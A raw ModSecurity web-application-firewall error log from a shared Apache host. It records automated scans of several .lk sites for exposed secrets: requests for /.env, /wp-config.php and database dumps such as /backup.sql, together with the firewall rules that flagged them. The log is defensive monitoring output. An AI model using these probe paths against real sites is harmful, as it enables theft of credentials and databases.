[Fri Jul 17 08:27:10.989546 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBjRCJXF37-WnVv0iYAAAABI"]
[Fri Jul 17 08:27:11.032915 2026] [security2:error] [pid 1994976:tid 1994976] [client 64.62.156.52:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/webui/"] [unique_id "almaBzRCJXF37-WnVv0iYQAAABI"]
[Fri Jul 17 08:27:11.070816 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBo1dLClkUfK_dfHhSQAAAAI"]
[Fri Jul 17 08:27:11.220975 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/database.sql"] [unique_id "almaB12NhE8i6ppze4etoAAAAAs"]
[Fri Jul 17 08:27:11.221443 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/database.sql"] [unique_id "almaB12NhE8i6ppze4etoAAAAAs"]
[Fri Jul 17 08:27:11.398758 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBnf2WrySr2miwA73YAAAABY"]
[Fri Jul 17 08:27:11.522311 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBnRlmrtCoY_COpciUgAAAAg"]
[Fri Jul 17 08:27:11.535132 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/db.sql"] [unique_id "almaB3RlmrtCoY_COpciUwAAAAg"]
[Fri Jul 17 08:27:11.535486 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/db.sql"] [unique_id "almaB3RlmrtCoY_COpciUwAAAAg"]
[Fri Jul 17 08:27:11.535905 2026] [security2:error] [pid 1993715:tid 1993715] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/db.sql"] [unique_id "almaB3RlmrtCoY_COpciUwAAAAg"]
[Fri Jul 17 08:27:11.562686 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBhAi3pC6yjXGNq19DQAAAAU"]
[Fri Jul 17 08:27:11.612344 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/backup.sql"] [unique_id "almaBxAi3pC6yjXGNq19DwAAAAU"]
[Fri Jul 17 08:27:11.612731 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/backup.sql"] [unique_id "almaBxAi3pC6yjXGNq19DwAAAAU"]
[Fri Jul 17 08:27:11.636213 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/dump.sql"] [unique_id "almaB0gVnBK6wAv37w6okgAAABQ"]
[Fri Jul 17 08:27:11.638634 2026] [security2:error] [pid 2013809:tid 2013809] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/dump.sql"] [unique_id "almaB0gVnBK6wAv37w6okgAAABQ"]
[Fri Jul 17 08:27:11.871855 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.dev"] [unique_id "almaB1h1WDijTxd1xw5IrwAAAAc"]
[Fri Jul 17 08:27:11.873793 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env.dev"] [unique_id "almaB1h1WDijTxd1xw5IrwAAAAc"]
[Fri Jul 17 08:27:11.961602 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaB12NhE8i6ppze4etoAAAAAs"]
[Fri Jul 17 08:27:11.968663 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/.env"] [unique_id "almaB12NhE8i6ppze4etoQAAAAs"]
[Fri Jul 17 08:27:11.969033 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/.env"] [unique_id "almaB12NhE8i6ppze4etoQAAAAs"]
[Fri Jul 17 08:27:12.014863 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "trails.lk"] [uri "/index.php"] [unique_id "almaBkhq6UAnqYko0LpXEgAAABE"]
[Fri Jul 17 08:27:12.075525 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/data.sql"] [unique_id "almaCN0t9Kb_MdNxrg6-iwAAAAM"]
[Fri Jul 17 08:27:12.075930 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/data.sql"] [unique_id "almaCN0t9Kb_MdNxrg6-iwAAAAM"]
[Fri Jul 17 08:27:12.076300 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1048) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/52e287eed542e4b1ee9793f3d50175fe828c6400.sock|fcgi://nccp.health.gov.lk) HOSTNAME(www.nccp.health.gov.lk) URL(/nccp/public/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:12.076517 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaCN0t9Kb_MdNxrg6-iwAAAAM"]
[Fri Jul 17 08:27:12.179489 2026] [security2:error] [pid 1993574:tid 1993574] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/database.sql"] [unique_id "almaCN0t9Kb_MdNxrg6-jAAAAAM"]
[Fri Jul 17 08:27:12.179850 2026] [security2:error] [pid 1993574:tid 1993574] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/database.sql"] [unique_id "almaCN0t9Kb_MdNxrg6-jAAAAAM"]
[Fri Jul 17 08:27:12.180232 2026] [security2:error] [pid 1993574:tid 1993574] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/database.sql"] [unique_id "almaCN0t9Kb_MdNxrg6-jAAAAAM"]
[Fri Jul 17 08:27:12.202115 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.nccp.health.gov.lk"] [uri "/db.sql"] [unique_id "almaCHf2WrySr2miwA73YwAAABY"]
[Fri Jul 17 08:27:12.202475 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/db.sql"] [unique_id "almaCHf2WrySr2miwA73YwAAABY"]
[Fri Jul 17 08:27:12.205825 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.nccp.health.gov.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0iZAAAABI"]
[Fri Jul 17 08:27:12.206165 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0iZAAAABI"]
[Fri Jul 17 08:27:12.206468 2026] [hostinglimits:warn] [pid 1994976:tid 1994976] mod_hostinglimits: Error on LVE enter: LVE(1048) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/52e287eed542e4b1ee9793f3d50175fe828c6400.sock|fcgi://nccp.health.gov.lk) HOSTNAME(www.nccp.health.gov.lk) URL(/nccp/public/index.php) TID(1994976) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:12.206647 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaCDRCJXF37-WnVv0iZAAAABI"]
[Fri Jul 17 08:27:12.224353 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/.env.backup"] [unique_id "almaCDRCJXF37-WnVv0iZwAAABI"]
